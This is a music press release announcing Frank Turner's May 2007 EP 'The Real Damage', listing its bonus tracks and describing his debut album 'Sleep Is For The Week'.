On May 14th 2007 Frank Turner releases the much-loved and highly praised 'The Real Damage' as an EP through Xtra Mile Recordings.
Favourite with fans and industry alike, The Real Damage is a funny, real-life tale documenting the perils and pit-falls of those all too familiar wasted weekend with friends; Frank's astounding lyrical and storytelling talent coming to the fore. It will be available as an EP accompanied by previously unreleased tracks 'Sea Legs', 'Back To Sleep', 'Sunshine State', and 'Heartless Bastard Mother Fucker' from the album recording sessions.
The Real Damage is the opening track on Frank's debut solo album 'Sleep Is For The Week' which came out in January. Recorded in a home studio in Oxford with Dive Dive's Ben Lloyd, 'Sleep Is For The Week' perfectly captures Frank's past 18 months in brutally honest and heartfelt detail. From the split of previous band Million Dead, to triumphantly supporting The Automatic late last year, 'Sleep' details life's highs and lows with wit, intelligence and personality.
